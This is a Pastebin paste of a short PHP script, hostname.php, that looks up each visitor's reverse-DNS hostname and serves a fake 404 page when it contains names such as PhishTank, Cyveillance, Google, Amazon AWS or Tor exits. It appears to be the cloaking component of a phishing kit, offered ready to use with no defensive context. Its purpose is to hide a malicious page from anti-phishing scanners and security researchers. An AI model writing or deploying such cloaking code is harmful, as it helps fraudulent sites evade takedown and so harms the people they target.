Advertisement
PalmaSolutions

hostname.php

Jun 16th, 2018
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.53 KB | None | 0 0
  1. <?php
  2. /*
  3. * hostname.php
  4. */
  5. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); //Get User Hostname
  6. $blocked_words = array(
  7.      "above",
  8.      "google",
  9.      "softlayer",
  10.      "amazonaws",
  11.      "cyveillance",
  12.      "phishtank",
  13.      "dreamhost",
  14.      "netpilot",
  15.      "calyxinstitute",
  16.      "tor-exit",
  17. );
  18.  
  19.  
  20.  
  21.  
  22. foreach($blocked_words as $word) {
  23.     if (substr_count($hostname, $word) > 0) {
  24.         header("HTTP/1.0 404 Not Found");
  25.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  26.  
  27.     }  
  28. }
  29.    
  30.  
  31. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement